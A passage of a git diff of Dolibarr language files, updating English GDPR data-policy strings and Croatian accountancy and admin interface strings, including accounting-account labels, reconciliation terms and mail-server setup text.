MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the +# GNU General Public License for more details. +# +# You should have received a copy of the GNU General Public License +# along with this program. If not, see . + +# Module label 'ModuledatapolicyName' +Module4100Name = Data Privacy Policy +# Module description 'ModuledatapolicyDesc' +Module4100Desc = Module to manage Data Privacy (Conformity with the GDPR) + +# +# Administration page +# +datapolicySetup = Module Data Privacy Policy Setup +Deletion = Deletion of data +datapolicySetupPage = Depending of laws of your countries (Example Article 5 of the GDPR), personal data must be kept for a period not exceeding that necessary for the purposes for which they were collected, except for archival purposes.
      The deletion will be done automatically after a certain duration without event (the duration which you will have indicated below). +NB_MONTHS = %s months +ONE_YEAR = 1 year +NB_YEARS = %s years +DATAPOLICY_TIERS_CLIENT = Customer +DATAPOLICY_TIERS_PROSPECT = Prospect +DATAPOLICY_TIERS_PROSPECT_CLIENT = Prospect/Customer +DATAPOLICY_TIERS_NIPROSPECT_NICLIENT = Nor prospect/Nor customer +DATAPOLICY_TIERS_FOURNISSEUR = Supplier +DATAPOLICY_CONTACT_CLIENT = Customer +DATAPOLICY_CONTACT_PROSPECT = Prospect +DATAPOLICY_CONTACT_PROSPECT_CLIENT = Prospect/Customer +DATAPOLICY_CONTACT_NIPROSPECT_NICLIENT = Nor prospect/Nor customer +DATAPOLICY_CONTACT_FOURNISSEUR = Supplier +DATAPOLICY_ADHERENT = Member +DATAPOLICY_Tooltip_SETUP = Type of contact - Indicate your choices for each type. +DATAPOLICYMail = Emails Setup +DATAPOLICYSUBJECTMAIL = Subject of email +DATAPOLICYCONTENTMAIL = Content of the email +DATAPOLICYSUBSITUTION = You can use the following variables in your email (LINKACCEPT allows to create a link recording the agreement of the person, LINKREFUSED makes it possible to record the refusal of the person): +DATAPOLICYACCEPT = Message after agreement +DATAPOLICYREFUSE = Message after desagreement +SendAgreementText = You can send a GDPR email to all your relevant contacts (who have not yet received an email and for which you have not registered anything about their GDPR agreement). To do this, use the following button. +SendAgreement = Send emails +AllAgreementSend = All emails have been sent +TXTLINKDATAPOLICYACCEPT = Text for the link "agreement" +TXTLINKDATAPOLICYREFUSE = Text for the link "desagreement" + + +# +# Extrafields +# +DATAPOLICY_BLOCKCHECKBOX = GDPR : Processing of personal data +DATAPOLICY_consentement = Consent obtained for the processing of personal data +DATAPOLICY_opposition_traitement = Opposes the processing of his personal data +DATAPOLICY_opposition_prospection = Opposes the processing of his personal data for the purposes of prospecting + +# +# Popup +# +DATAPOLICY_POPUP_ANONYME_TITLE = Anonymize a thirdparty +DATAPOLICY_POPUP_ANONYME_TEXTE = You can not delete this contact from Dolibarr because there are related items. In accordance with the GDPR, you will make all this data anonymous to respect your obligations. Would you like to continue ? + +# +# Button for portability +# +DATAPOLICY_PORTABILITE = Portability GDPR +DATAPOLICY_PORTABILITE_TITLE = Export of personal data +DATAPOLICY_PORTABILITE_CONFIRMATION = You want to export the personal data of this contact. Are you sure ? + +# +# Notes added during an anonymization +# +ANONYMISER_AT = Anonymised the %s + +# V2 +DATAPOLICYReturn = GDPR Validation +DATAPOLICY_date = Date of agreement/desagreement GDPR +DATAPOLICY_send = Date sending agreement email +DATAPOLICYReturn = GDPR Validation +DATAPOLICY_SEND = Send GDPR email +MailSent = Email has been sent + +# ERROR +ErrorSubjectIsRequired = Error : The subject of email is required. Indicate it in the module setup +=Due to a technical problem, we were unable to register your choice. We apologize for that. Contact us to send us your choice. +NUMBER_MONTH_BEFORE_DELETION = Number of month before deletion diff --git a/htdocs/langs/hr_HR/accountancy.lang b/htdocs/langs/hr_HR/accountancy.lang index 5ea2c3b4248..845a2f65e99 100644 --- a/htdocs/langs/hr_HR/accountancy.lang +++ b/htdocs/langs/hr_HR/accountancy.lang @@ -14,8 +14,8 @@ ACCOUNTING_EXPORT_ENDLINE=Select the carriage return type ACCOUNTING_EXPORT_PREFIX_SPEC=Specify the prefix for the file name ThisService=Ova usluga ThisProduct=Ovaj proizvod -DefaultForService=Predefinirano za uslugu -DefaultForProduct=Predefinirano za proizvod +DefaultForService=Default for services +DefaultForProduct=Default for products ProductForThisThirdparty=Proizvod za ovu treću stranu ServiceForThisThirdparty=Usluga za ovu treću stranu CantSuggest=Ne mogu predložiti @@ -59,6 +59,7 @@ MainAccountForSuppliersNotDefined=Main accounting account for vendors not define MainAccountForUsersNotDefined=Main accounting account for users not defined in setup MainAccountForVatPaymentNotDefined=Main accounting account for VAT payment not defined in setup MainAccountForSubscriptionPaymentNotDefined=Main accounting account for subscription payment not defined in setup +UserAccountNotDefined=Accounting account for user not defined in setup AccountancyArea=Računovodstveno područje AccountancyAreaDescIntro=Usage of the accountancy module is done in several step: @@ -100,7 +101,8 @@ ShowAccountingAccount=Prikaži računovodstveni račun ShowAccountingJournal=Prikaži računovodstveni dnevnik ShowAccountingAccountInLedger=Prikaži računovodstveni račun u knjizi ShowAccountingAccountInJournals=Show accounting account in journals -AccountAccountingSuggest=Accounting account suggested +DataUsedToSuggestAccount=Data used to suggest account +AccountAccountingSuggest=Account suggested MenuDefaultAccounts=Zadani računi MenuBankAccounts=Bankovni računi MenuVatAccounts=PDV računi @@ -125,6 +127,7 @@ WriteBookKeeping=Record transactions in accounting Bookkeeping=Knjiga BookkeepingSubAccount=Podknjiga AccountBalance=Stanje računa +AccountBalanceSubAccount=Sub-accounts balance ObjectsRef=Source object ref CAHTF=Total purchase vendor before tax TotalExpenseReport=Izvješće o ukupnim troškovima @@ -164,42 +167,45 @@ ACCOUNTANCY_COMBO_FOR_AUX=Enable combo list for subsidiary account (may be slow ACCOUNTING_DATE_START_BINDING=Define a date to start binding & transfer in accountancy. Below this date, the transactions will not be transferred to accounting. ACCOUNTING_DEFAULT_PERIOD_ON_TRANSFER=On accountancy transfer, what is the period selected by default -ACCOUNTING_SELL_JOURNAL=Sell journal -ACCOUNTING_PURCHASE_JOURNAL=Purchase journal -ACCOUNTING_MISCELLANEOUS_JOURNAL=Miscellaneous journal +ACCOUNTING_SELL_JOURNAL=Sales journal (sales and returns) +ACCOUNTING_PURCHASE_JOURNAL=Purchase journal (purchase and returns) +ACCOUNTING_BANK_JOURNAL=Cash journal (receipts and disbursements) ACCOUNTING_EXPENSEREPORT_JOURNAL=Expense report journal -ACCOUNTING_SOCIAL_JOURNAL=Social journal +ACCOUNTING_MISCELLANEOUS_JOURNAL=General journal ACCOUNTING_HAS_NEW_JOURNAL=Has new Journal +ACCOUNTING_INVENTORY_JOURNAL=Inventory journal +ACCOUNTING_SOCIAL_JOURNAL=Social journal ACCOUNTING_RESULT_PROFIT=Result accounting account (Profit) ACCOUNTING_RESULT_LOSS=Result accounting account (Loss) ACCOUNTING_CLOSURE_DEFAULT_JOURNAL=Journal of closure -ACCOUNTING_ACCOUNT_TRANSFER_CASH=Accounting account of transitional bank transfer +ACCOUNTING_ACCOUNT_TRANSFER_CASH=Account (from the Chart Of Account) to be used as the account for transitional bank transfers TransitionalAccount=Transitional bank transfer account -ACCOUNTING_ACCOUNT_SUSPENSE=Accounting account of wait -DONATION_ACCOUNTINGACCOUNT=Accounting account to register donations -ADHERENT_SUBSCRIPTION_ACCOUNTINGACCOUNT=Accounting account to register subscriptions +ACCOUNTING_ACCOUNT_SUSPENSE=Account (from the Chart Of Account) to be used as the account for unallocated funds either received or paid i.e. funds in "wait[ing]" +DONATION_ACCOUNTINGACCOUNT=Account (from the Chart Of Account) to be used to register donations (Donation module) +ADHERENT_SUBSCRIPTION_ACCOUNTINGACCOUNT=Account (from the Chart Of Account) to be used to register memberships subscriptions (Membership module - if membership recorded without invoice) -ACCOUNTING_ACCOUNT_CUSTOMER_DEPOSIT=Accounting account by default to register customer deposit +ACCOUNTING_ACCOUNT_CUSTOMER_DEPOSIT=Account (from the Chart Of Account) to be used as the default account to register customer deposit UseAuxiliaryAccountOnCustomerDeposit=Store customer account as individual account in subsidiary ledger for lines of down payments (if disabled, individual account for down payment lines will remain empty) -ACCOUNTING_ACCOUNT_SUPPLIER_DEPOSIT=Accounting account by default to register supplier deposit +ACCOUNTING_ACCOUNT_SUPPLIER_DEPOSIT=Account (from the Chart Of Account) to be used as the default UseAuxiliaryAccountOnSupplierDeposit=Store supplier account as individual account in subsidiary ledger for lines of down payments (if disabled, individual account for down payment lines will remain empty) +ACCOUNTING_ACCOUNT_CUSTOMER_RETAINED_WARRANTY=Accounting account by default to register customer retained warranty -ACCOUNTING_PRODUCT_BUY_ACCOUNT=Accounting account by default for the bought products (used if not defined in the product sheet) -ACCOUNTING_PRODUCT_BUY_INTRA_ACCOUNT=Accounting account by default for the bought products in EEC (used if not defined in the product sheet) -ACCOUNTING_PRODUCT_BUY_EXPORT_ACCOUNT=Accounting account by default for the bought products and imported out of EEC (used if not defined in the product sheet) -ACCOUNTING_PRODUCT_SOLD_ACCOUNT=Accounting account by default for the sold products (used if not defined in the product sheet) -ACCOUNTING_PRODUCT_SOLD_INTRA_ACCOUNT=Accounting account by default for the products sold in EEC (used if not defined in the product sheet) -ACCOUNTING_PRODUCT_SOLD_EXPORT_ACCOUNT=Accounting account by default for the products sold and exported out of EEC (used if not defined in the product sheet) +ACCOUNTING_PRODUCT_BUY_ACCOUNT=Account (from the Chart Of Account) to be used as the default account for the products purchased within same country (used if not defined in the product sheet) +ACCOUNTING_PRODUCT_BUY_INTRA_ACCOUNT=Account (from the Chart Of Account) to be used as the default account for the products purchased from EEC to another EEC country (used if not defined in the product sheet) +ACCOUNTING_PRODUCT_BUY_EXPORT_ACCOUNT=Account (from the Chart Of Account) to be used as the default account for the products purchased and imported from any other foreign country (used if not defined in the product sheet) +ACCOUNTING_PRODUCT_SOLD_ACCOUNT=Account (from the Chart Of Account) to be used as the default account for the sold products (used if not defined in the product sheet) +ACCOUNTING_PRODUCT_SOLD_INTRA_ACCOUNT=Account (from the Chart Of Account) to be used as the default account for the products sold from EEC to another EEC country (used if not defined in the product sheet) +ACCOUNTING_PRODUCT_SOLD_EXPORT_ACCOUNT=Account (from the Chart Of Account) to be used as the default account for the products sold and exported to any other foreign country (used if not defined in the product sheet) -ACCOUNTING_SERVICE_BUY_ACCOUNT=Accounting account by default for the bought services (used if not defined in the service sheet) -ACCOUNTING_SERVICE_BUY_INTRA_ACCOUNT=Accounting account by default for the bought services in EEC (used if not defined in the service sheet) -ACCOUNTING_SERVICE_BUY_EXPORT_ACCOUNT=Accounting account by default for the bought services and imported out of EEC (used if not defined in the service sheet) -ACCOUNTING_SERVICE_SOLD_ACCOUNT=Accounting account by default for the sold services (used if not defined in the service sheet) -ACCOUNTING_SERVICE_SOLD_INTRA_ACCOUNT=Accounting account by default for the services sold in EEC (used if not defined in the service sheet) -ACCOUNTING_SERVICE_SOLD_EXPORT_ACCOUNT=Accounting account by default for the services sold and exported out of EEC (used if not defined in the service sheet) +ACCOUNTING_SERVICE_BUY_ACCOUNT=Account (from the Chart Of Account) to be used as the default account for the services purchased within same country (used if not defined in the service sheet) +ACCOUNTING_SERVICE_BUY_INTRA_ACCOUNT=Account (from the Chart Of Account) to be used as the default account for the services purchased from EEC to another EEC country (used if not defined in the service sheet) +ACCOUNTING_SERVICE_BUY_EXPORT_ACCOUNT=Account (from the Chart Of Account) to be used as the default account for the services purchased and imported from other foreign country (used if not defined in the service sheet) +ACCOUNTING_SERVICE_SOLD_ACCOUNT=Account (from the Chart Of Account) to be used as the default account for the sold services (used if not defined in the service sheet) +ACCOUNTING_SERVICE_SOLD_INTRA_ACCOUNT=Account (from the Chart Of Account) to be used as the default account for the services sold from EEC to another EEC country (used if not defined in the service sheet) +ACCOUNTING_SERVICE_SOLD_EXPORT_ACCOUNT=Account (from the Chart Of Account) to be used as the default account for the services sold and exported to any other foreign country (used if not defined in the service sheet) Doctype=Type of document Docdate=Date @@ -214,7 +220,8 @@ Codejournal=Journal JournalLabel=Journal label NumPiece=Broj komada TransactionNumShort=Broj prijenosa -AccountingCategory=Custom group +AccountingCategory=Custom group of accounts +AccountingCategories=Custom groups of accounts GroupByAccountAccounting=Group by general ledger account GroupBySubAccountAccounting=Group by subledger account AccountingAccountGroupsDesc=You can define here some groups of accounting account. They will be used for personalized accounting reports. @@ -262,19 +269,20 @@ ShowSubtotalByGroup=Prikaži međuzbroj po razini Pcgtype=Klasa računa PcgtypeDesc=Group of account are used as predefined 'filter' and 'grouping' criteria for some accounting reports. For example, 'INCOME' or 'EXPENSE' are used as groups for accounting accounts of products to build the expense/income report. +AccountingCategoriesDesc=Custom group of accounts can be used to group accounting accounts into one name to ease filter use or building of custom reports. Reconcilable=Za usklađivanje TotalVente=Total turnover before tax TotalMarge=Total sales margin -DescVentilCustomer=Consult here the list of customer invoice lines bound (or not) to a product accounting account -DescVentilMore=In most cases, if you use predefined products or services and you set the account number on the product/service card, the application will be able to make all the binding between your invoice lines and the accounting account of your chart of accounts, just in one click with the button "%s". If account was not set on product/service cards or if you still have some lines not bound to an account, you will have to make a manual binding from the menu "%s". -DescVentilDoneCustomer=Consult here the list of the lines of invoices customers and their product accounting account -DescVentilTodoCustomer=Bind invoice lines not already bound with a product accounting account -ChangeAccount=Change the product/service accounting account for selected lines with the following accounting account: +DescVentilCustomer=Consult here the list of customer invoice lines bound (or not) to a product account from chart of account +DescVentilMore=In most cases, if you use predefined products or services and you set the account (from chart of account) on the product/service card, the application will be able to make all the binding between your invoice lines and the accounting account of your chart of accounts, just in one click with the button "%s". If account was not set on product/service cards or if you still have some lines not bound to an account, you will have to make a manual binding from the menu "%s". +DescVentilDoneCustomer=Consult here the list of the lines of invoices customers and their product account from chart of account +DescVentilTodoCustomer=Bind invoice lines not already bound with a product account from chart of account +ChangeAccount=Change the product/service account (from chart of account) for the selected lines with the following account: Vide=- -DescVentilSupplier=Consult here the list of vendor invoice lines bound or not yet bound to a product accounting account (only record not already transfered in accountancy are visible) +DescVentilSupplier=Consult here the list of vendor invoice lines bound or not yet bound to a product account from chart of account (only record not already transfered in accountancy are visible) DescVentilDoneSupplier=Consult here the list of the lines of vendor invoices and their accounting account DescVentilTodoExpenseReport=Bind expense report lines not already bound with a fee accounting account DescVentilExpenseReport=Consult here the list of expense report lines bound (or not) to a fee accounting account @@ -286,20 +294,21 @@ DescClosure=Consult here the number of movements by month not yet validated & lo OverviewOfMovementsNotValidated=Overview of movements not validated and locked AllMovementsWereRecordedAsValidated=All movements were recorded as validated and locked NotAllMovementsCouldBeRecordedAsValidated=Not all movements could be recorded as validated and locked -ValidateMovements=Potvrda i zaključavanje zapisa... +ValidateMovements=Validate and lock movements... DescValidateMovements=Any modification or deletion of writing, lettering and deletes will be prohibited. All entries for an exercise must be validated otherwise closing will not be possible ValidateHistory=Vezati automatski AutomaticBindingDone=Automatic bindings done (%s) - Automatic binding not possible for some record (%s) +DoManualBindingForFailedRecord=You have to do a manual link for the %s row(s) not linked automatically. -ErrorAccountancyCodeIsAlreadyUse=Greška, ne možete obrisati obračunski račun jer je u upotrebi +ErrorAccountancyCodeIsAlreadyUse=Error, you cannot remove or disable this account of chart of account because it is used MvtNotCorrectlyBalanced=Movement not correctly balanced. Debit = %s & Credit = %s Balancing=Balansiranje FicheVentilation=Binding card GeneralLedgerIsWritten=Transactions are written in the Ledger GeneralLedgerSomeRecordWasNotRecorded=Some of the transactions could not be journalized. If there is no other error message, this is probably because they were already journalized. NoNewRecordSaved=Nema više zapisa za prijenos -ListOfProductsWithoutAccountingAccount=Popis proizvoda koji nisu vezani ni za jedan računovodstveni konto +ListOfProductsWithoutAccountingAccount=List of products not bound to any account of chart of account ChangeBinding=Promijenite povezivanje Accounted=Accounted in ledger NotYetAccounted=Not yet transferred to accounting @@ -322,9 +331,10 @@ AccountingJournalType1=Razne operacije AccountingJournalType2=Prodaja AccountingJournalType3=Nabava AccountingJournalType4=Banka -AccountingJournalType5=Izvještaj o troškovima +AccountingJournalType5=Troškovnici AccountingJournalType8=Zalihe AccountingJournalType9=Ima-novo +GenerationOfAccountingEntries=Generation of accounting entries ErrorAccountingJournalIsAlreadyUse=This journal is already use AccountingAccountForSalesTaxAreDefinedInto=Note: Accounting account for Sales tax are defined into menu %s - %s NumberOfAccountancyEntries=Broj unosa @@ -332,10 +342,14 @@ NumberOfAccountancyMovements=Number of movements ACCOUNTING_DISABLE_BINDING_ON_SALES=Disable binding & transfer in accountancy on sales (customer invoices will not be taken into account in accounting) ACCOUNTING_DISABLE_BINDING_ON_PURCHASES=Disable binding & transfer in accountancy on purchases (vendor invoices will not be taken into account in accounting) ACCOUNTING_DISABLE_BINDING_ON_EXPENSEREPORTS=Disable binding & transfer in accountancy on expense reports (expense reports will not be taken into account in accounting) +ACCOUNTING_ENABLE_LETTERING=Enable the lettering function in the accounting +ACCOUNTING_ENABLE_AUTOLETTERING=Enable the automatic lettering when transferring to accounting ## Export +NotExportLettering=Do not export the lettering when generating the file NotifiedExportDate=Flag exported lines as Exported (to modify a line, you will need to delete the whole transaction and re-transfert it into accounting) NotifiedValidationDate=Validate and Lock the exported entries (same effect than the "%s" feature, modification and deletion of the lines will DEFINITELY not be possible) +NotifiedExportFull=Export documents ? DateValidationAndLock=Potvrda datuma i zaključavanje ConfirmExportFile=Potvrda generiranja datoteke za izvoz računovodstva? ExportDraftJournal=Export draft journal @@ -392,7 +406,7 @@ SaleLocal=Lokalna prodaja SaleExport=Izvozna prodaja SaleEEC=Prodaja u EEC SaleEECWithVAT=Sale in EEC with a VAT not null, so we suppose this is NOT an intracommunautary sale and the suggested account is the standard product account. -SaleEECWithoutVATNumber=Sale in EEC with no VAT but the VAT ID of thirdparty is not defined. We fallback on the product account for standard sales. You can fix the VAT ID of thirdparty or the product account if needed. +SaleEECWithoutVATNumber=Sale in EEC with no VAT but the VAT ID of thirdparty is not defined. We fall back on the account for standard sales. You can fix the VAT ID of the thirdparty, or change the product account suggested for binding if needed. ForbiddenTransactionAlreadyExported=Zabranjeno: Transakcija je potvrđena i/ili izvezena. ForbiddenTransactionAlreadyValidated=Zabranjeno: Transakcija je potvrđena. ## Dictionary @@ -401,7 +415,11 @@ Calculated=Izračunato Formula=Formula ## Reconcile +LetteringAuto=Reconcile auto +LetteringManual=Reconcile manual Unlettering=Unreconcile +UnletteringAuto=Unreconcile auto +UnletteringManual=Unreconcile manual AccountancyNoLetteringModified=No reconcile modified AccountancyOneLetteringModifiedSuccessfully=One reconcile successfully modified AccountancyLetteringModifiedSuccessfully=%s reconcile successfully modified @@ -410,8 +428,9 @@ AccountancyOneUnletteringModifiedSuccessfully=One unreconcile successfully modif AccountancyUnletteringModifiedSuccessfully=%s unreconcile successfully modified ## Confirm box -ConfirmMassUnlettering=Bulk Unreconcile confirmation -ConfirmMassUnletteringQuestion=Are you sure you want to Unreconcile the %s selected record(s)? +ConfirmMassUnletteringAuto=Bulk auto unreconcile confirmation +ConfirmMassUnletteringManual=Bulk manual unreconcile confirmation +ConfirmMassUnletteringQuestion=Are you sure you want to unreconcile the %s selected record(s)? ConfirmMassDeleteBookkeepingWriting=Potvrda skupnog brisanja ConfirmMassDeleteBookkeepingWritingQuestion=This will delete the transaction from the accounting (all lines related to the same transaction will be deleted) Are you sure you want to delete the %s selected record(s)? @@ -431,6 +450,7 @@ AccountancyErrorMismatchLetterCode=Mismatch in reconcile code AccountancyErrorMismatchBalanceAmount=The balance (%s) is not equal to 0 AccountancyErrorLetteringBookkeeping=Errors have occurred concerning the transactions: %s ErrorAccountNumberAlreadyExists=The accounting number %s already exists +ErrorArchiveAddFile=Can't put "%s" file in archive ## Import ImportAccountingEntries=Accounting entries @@ -457,6 +477,7 @@ FECFormatMulticurrencyCode=Viševalutni kod (Idevise) DateExport=Datum izvoza WarningReportNotReliable=Warning, this report is not based on the Ledger, so does not contains transaction modified manually in the Ledger. If your journalization is up to date, the bookkeeping view is more accurate. ExpenseReportJournal=Dnevnik izvješća o troškovima -InventoryJournal=Dnevnik inventara +DocsAlreadyExportedAreExcluded=Docs already exported are excluded +ClickToHideAlreadyExportedLines=Click to hide already exported lines NAccounts=%s računi diff --git a/htdocs/langs/hr_HR/admin.lang b/htdocs/langs/hr_HR/admin.lang index cd529749db1..31d250ee63c 100644 --- a/htdocs/langs/hr_HR/admin.lang +++ b/htdocs/langs/hr_HR/admin.lang @@ -5,7 +5,7 @@ Foundation=Zaklada Version=Inačica Publisher=Izdavač VersionProgram=Inačica programa -VersionLastInstall=Inicijalno instalirana verzija +VersionLastInstall=Prva postavljena inačica VersionLastUpgrade=Zadnja verzija nadogradnje VersionExperimental=Eksperimentalno VersionDevelopment=Razvoj @@ -51,8 +51,6 @@ ClientSortingCharset=Klijentski collation WarningModuleNotActive=Modul %s mora biti omogućen WarningOnlyPermissionOfActivatedModules=Prikazane su samo dozvole vezane za aktivne module. Možete aktivirati druge module na stranici modula Naslovna -> Podešavanje -> Moduli. DolibarrSetup=Dolibarr instalacija ili nadogradnja -InternalUser=Interni korisnik -ExternalUser=Vanjski korisnik InternalUsers=Interni korisnici ExternalUsers=Vanjski korisnici UserInterface=Korisničko sučelje @@ -147,6 +145,7 @@ Box=Dodatak Boxes=Dodaci MaxNbOfLinesForBoxes=Maksimalni broj linija u dodatku AllWidgetsWereEnabled=Svi dostupni widgeti su omogućeni +WidgetAvailable=Widget available PositionByDefault=Predefiniran redosljed Position=Pozicija MenusDesc=Upravitelji izbornicima postavljaju sadržaj za dva izbornika ( horizontalni i vertikalni). @@ -210,7 +209,7 @@ AutoDetectLang=Automatski detektiraj (jezik web preglednika) FeatureDisabledInDemo=Mogućnost onemogućena u demo verziji FeatureAvailableOnlyOnStable=Značajka dostupna samo na službenim stabilnim verzijama BoxesDesc=Widgeti su komponente koje prikazuju neke informacije koje možete dodati da biste personalizirali neke stranice. Možete birati između prikazivanja widgeta ili ne tako da odaberete ciljnu stranicu i kliknete 'Aktiviraj' ili klikom na koš za smeće da ga onemogućite. -OnlyActiveElementsAreShown=Prikazani su samo elementi sa omogučenih modula +OnlyActiveElementsAreShown=Prikazani su samo elementi sa omogućenih modula ModulesDesc=Moduli/aplikacije određuju koje su značajke dostupne u softveru. Neki moduli zahtijevaju da se dozvole dodijele korisnicima nakon aktivacije modula. Kliknite gumb za uključivanje/isključivanje %s svakog modula kako biste omogućili ili onemogućili modul/aplikaciju. ModulesDesc2=Kliknite gumb kotačića %s da biste konfigurirali modul/aplikaciju. ModulesMarketPlaceDesc=Možete pronaći više modula za download na vanjskim internet web lokacijama @@ -294,6 +293,7 @@ MAIN_MAIL_SMTP_SERVER=SMTP/SMTPS Host (zadana vrijednost u php.ini: %s ) MAIN_MAIL_SMTP_PORT_NotAvailableOnLinuxLike=SMTP/SMTPS port (nije definiran u PHP-u na sustavima sličnim Unixu) MAIN_MAIL_SMTP_SERVER_NotAvailableOnLinuxLike=SMTP/SMTPS Host (nije definirano u PHP-u na sustavima sličnim Unixu) MAIN_MAIL_EMAIL_FROM=E-pošta pošiljatelja za automatske e-poruke (zadana vrijednost u php.ini: %s ) +EMailHelpMsgSPFDKIM=To prevent Dolibarr emails to be classified as spam, make sure that the server is authorized to send e-mails from this address by SPF and DKIM configuration MAIN_MAIL_ERRORS_TO=E-pošta korištena za pogrešku vraća e-poštu (polja 'Errors-To' u poslanim porukama e-pošte) MAIN_MAIL_AUTOCOPY_TO= Kopirajte (Bcc) sve poslane e-poruke na MAIN_DISABLE_ALL_MAILS=Onemogućite sva slanja e-pošte (u svrhu testiranja ili demonstracija) @@ -375,7 +375,7 @@ DoTestSendHTML=Slanje HTML testa ErrorCantUseRazIfNoYearInMask=Pogreška, ne može se koristiti opcija @ za poništavanje brojača svake godine ako sekvenca {yy} ili {yyyy} nije u maski. ErrorCantUseRazInStartedYearIfNoYearMonthInMask=Greška, ne možete koristiti opciju @ ako sekvence {yy}{mm} ili {yyyy}{mm} nisu u predlošku. UMask=Umask parametar za nove datoteke na Unix/Linux/BSD/Mac sistemu. -UMaskExplanation=Ovaj parametar vam omogućuje da definirate dopuštenja postavljena prema zadanim postavkama za datoteke koje je Dolibarr stvorio na poslužitelju (na primjer, tijekom prijenosa).
      Mora biti oktalna vrijednost (na primjer, 0666 znači čitanje i pisanje za svakoga).
      Ovaj parametar je beskoristan na Windows poslužitelju. +UMaskExplanation=This parameter allow you to define permissions set by default on files created by Dolibarr on server (during upload for example).
      It must be the octal value (for example, 0666 means read and write for everyone.). Recommended value is 0600 or 0660
      This parameter is useless on a Windows server. SeeWikiForAllTeam=Pogledajte Wiki stranicu za popis suradnika i njihovu organizaciju UseACacheDelay= Kašnjenje za predmemoriranje izvoznog odgovora u sekundama (0 ili prazno ako nema predmemorije) DisableLinkToHelpCenter=Sakrij vezu " Trebate pomoć ili podršku " na stranici za prijavu @@ -439,8 +439,10 @@ Unique=Unique Boolean=Boolean (one checkbox) ExtrafieldPhone = Telefon ExtrafieldPrice = Cijena +ExtrafieldPriceWithCurrency=Price with currency ExtrafieldMail = E-pošta ExtrafieldUrl = Url +ExtrafieldIP = IP ExtrafieldSelect = Odaberi popis ExtrafieldSelectList = Odaberi iz tabele ExtrafieldSeparator=Razdjelnik (nije polje) @@ -450,7 +452,7 @@ ExtrafieldCheckBox=Checkboxes ExtrafieldCheckBoxFromList=Checkboxes from table ExtrafieldLink=Poveži s objektom ComputedFormula=Izračunato polje -ComputedFormulaDesc=You can enter here a formula using other properties of object or any PHP coding to get a dynamic computed value. You can use any PHP compatible formulas including the "?" condition operator, and following global object: $db, $conf, $langs, $mysoc, $user, $object.
      WARNING: Only some properties of $object may be available. If you need a properties not loaded, just fetch yourself the object into your formula like in the second example.
      Using a computed field means you can't enter yourself any value from interface. Also, if there is a syntax error, the formula may return nothing.

      Example of formula:
      $object->id < 10 ? round($object->id / 2, 2): ($object->id + 2 * $user->id) * (int) substr($mysoc->zip, 1, 2)

      Example to reload object
      (($reloadedobj = new Societe($db)) && ($reloadedobj->fetchNoCompute($obj->id ? $obj->id: ($obj->rowid ? $obj->rowid: $object->id)) > 0)) ? $reloadedobj->array_options['options_extrafieldkey'] * $reloadedobj->capital / 5: '-1'

      Other example of formula to force load of object and its parent object:
      (($reloadedobj = new Task($db)) && ($reloadedobj->fetchNoCompute($object->id) > 0) && ($secondloadedobj = new Project($db)) && ($secondloadedobj->fetchNoCompute($reloadedobj->fk_project) > 0)) ? $secondloadedobj->ref: 'Parent project not found' +ComputedFormulaDesc=You can enter here a formula using other properties of object or any PHP coding to get a dynamic computed value. You can use any PHP compatible formulas including the "?" condition operator, and following global object: $db, $conf, $langs, $mysoc, $user, $objectoffield.
      WARNING: If you need properties of an object not loaded, just fetch yourself the object into your formula like in the second example.
      Using a computed field means you can't enter yourself any value from interface. Also, if there is a syntax error, the formula may return nothing.

      Example of formula:
      $objectoffield->id < 10 ? round($objectoffield->id / 2, 2): ($objectoffield->id + 2 * $user->id) * (int) substr($mysoc->zip, 1, 2)

      Example to reload object
      (($reloadedobj = new Societe($db)) && ($reloadedobj->fetchNoCompute($objectoffield->id) > 0 ? $reloadedobj->array_options['options_extrafieldkey'] * $reloadedobj->capital / 5: '-1')

      Other example of formula to force load of object and its parent object:
      (($reloadedobj = new Task($db)) && ($reloadedobj->fetchNoCompute($objectoffield->id) > 0) && ($secondloadedobj = new Project($db)) && ($secondloadedobj->fetchNoCompute($reloadedobj->fk_project) > 0)) ? $secondloadedobj->ref: 'Parent project not found' Computedpersistent=Pohrani izračunato polje ComputedpersistentDesc=Izračunata dodatna polja bit će pohranjena u bazi podataka, međutim, vrijednost će se ponovno izračunati samo kada se promijeni objekt ovog polja. Ako izračunato polje ovisi o drugim objektima ili globalnim podacima, ova vrijednost može biti pogrešna!! ExtrafieldParamHelpPassword=Ako ovo polje ostavite praznim, znači da će ova vrijednost biti pohranjena bez šifriranja (polje mora biti skriveno samo sa zvjezdicom na zaslonu).
      Postavite 'auto' za korištenje zadanog pravila šifriranja za spremanje lozinke u bazu podataka (tada će pročitana vrijednost biti samo hash, nema načina da se dohvati izvorna vrijednost) @@ -501,7 +503,8 @@ WarningPHPMail=UPOZORENJE: Postavke za slanje e-pošte iz aplikacije koriste zad WarningPHPMailA=- Korištenje poslužitelja davatelja usluga e-pošte povećava pouzdanost vaše e-pošte, tako da povećava isporučivost bez označavanja kao SPAM WarningPHPMailB=- Neki davatelji usluga e-pošte (kao što je Yahoo) ne dopuštaju vam slanje e-pošte s drugog poslužitelja osim s njihovog vlastitog poslužitelja. Vaša trenutna postavka koristi poslužitelj aplikacije za slanje e-pošte, a ne poslužitelj vašeg davatelja e-pošte, tako da će neki primatelji (onaj koji je kompatibilan s restriktivnim DMARC protokolom) pitati vašeg davatelja e-pošte može li prihvatiti vašu e-poštu, a neki davatelji e-pošte (poput Yahooa) može odgovoriti "ne" jer poslužitelj nije njihov, tako da nekoliko vaših poslanih e-poruka možda neće biti prihvaćeno za isporuku (pazite i na kvotu slanja vašeg davatelja e-pošte). WarningPHPMailC=- Korištenje SMTP poslužitelja vašeg vlastitog davatelja usluga e-pošte za slanje e-pošte također je zanimljivo tako da će sve e-poruke poslane iz aplikacije također biti spremljene u vaš direktorij "Poslano" vašeg poštanskog sandučića. -WarningPHPMailD=Također, stoga se preporuča promijeniti način slanja e-mailova na vrijednost "SMTP". Ako stvarno želite zadržati zadanu "PHP" metodu za slanje e-pošte, jednostavno zanemarite ovo upozorenje ili ga uklonite postavljanjem MAIN_HIDE_WARNING_TO_ENCOURAGE_SMTP_SETUP konstante na 1 u Početna - Postavljanje - Ostalo. +WarningPHPMailD=It is therefore recommended to change the sending method of e-mails to the value "SMTP". +WarningPHPMailDbis=If you really want to keep the default "PHP" method to send emails, just ignore this warning, or remove it by %sclicking here%s. WarningPHPMail2=Ako vaš SMTP davatelj usluge e-pošte treba ograničiti klijenta e-pošte na neke IP adrese (vrlo rijetko), ovo je IP adresa korisničkog agenta e-pošte (MUA) za vašu ERP CRM aplikaciju: 